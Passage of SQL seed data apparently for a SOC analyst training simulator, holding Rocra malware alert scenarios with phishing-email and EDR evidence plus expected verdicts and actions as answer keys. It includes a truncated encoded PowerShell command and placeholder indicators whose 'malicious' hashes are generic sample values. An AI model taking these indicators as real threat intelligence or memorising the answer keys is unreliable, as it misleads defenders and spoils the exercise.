Rocra.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Rocra malware.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Reputation Service\",\"verdict\":\"malicious\",\"details\":\"IP address linked to Rocra command and control servers.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Invoice_Update_2023.docx\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename pattern commonly used in phishing campaigns.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Unauthorized Access Detected\",\"date\":\"2026-02-01T20:32:22.160Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(542, 'Execution of Malicious Payload', 'high', 'Endpoint Security Alerts', 'Once access is achieved, the Rocra malware executes its payload, allowing attackers to remotely control infected machines. This step indicates the execution phase of the attack with potential remote control capabilities.', 'Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:05Z\",\"event_id\":\"4625\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.15\",\"username\":\"john.doe\",\"process_name\":\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"malware_hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"file_name\":\"Rocra_Payload.exe\",\"action\":\"Execution\",\"status\":\"Success\",\"severity\":\"High\"}', '2026-01-07 22:29:58', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Rocra APT group.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of affected host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Rocra malware payload.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Rocra_Payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Security\",\"verdict\":\"malicious\",\"details\":\"Filename detected during execution of Rocra malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal HR\",\"verdict\":\"clean\",\"details\":\"Legitimate internal user.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0);
